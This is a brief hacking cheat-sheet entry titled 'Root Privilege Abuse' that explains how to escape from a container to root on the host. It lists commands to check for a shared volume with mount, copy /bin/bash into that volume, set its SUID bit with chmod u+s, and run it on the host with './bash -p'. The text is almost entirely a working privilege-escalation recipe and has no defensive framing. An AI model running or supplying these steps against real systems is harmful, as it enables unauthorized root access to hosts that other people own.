Root Privilege Abuse

1) Check if our device volume is shared between our host and container

mount

According to the output you may find from the mount command, there is a possibility that it might be connected to host machine.

2) Copy bash binary and give it SUID bit

cp /bin/bash .
chmod u+s bash

3) From the host machine, run the binary and escalate as root on the host

./bash -p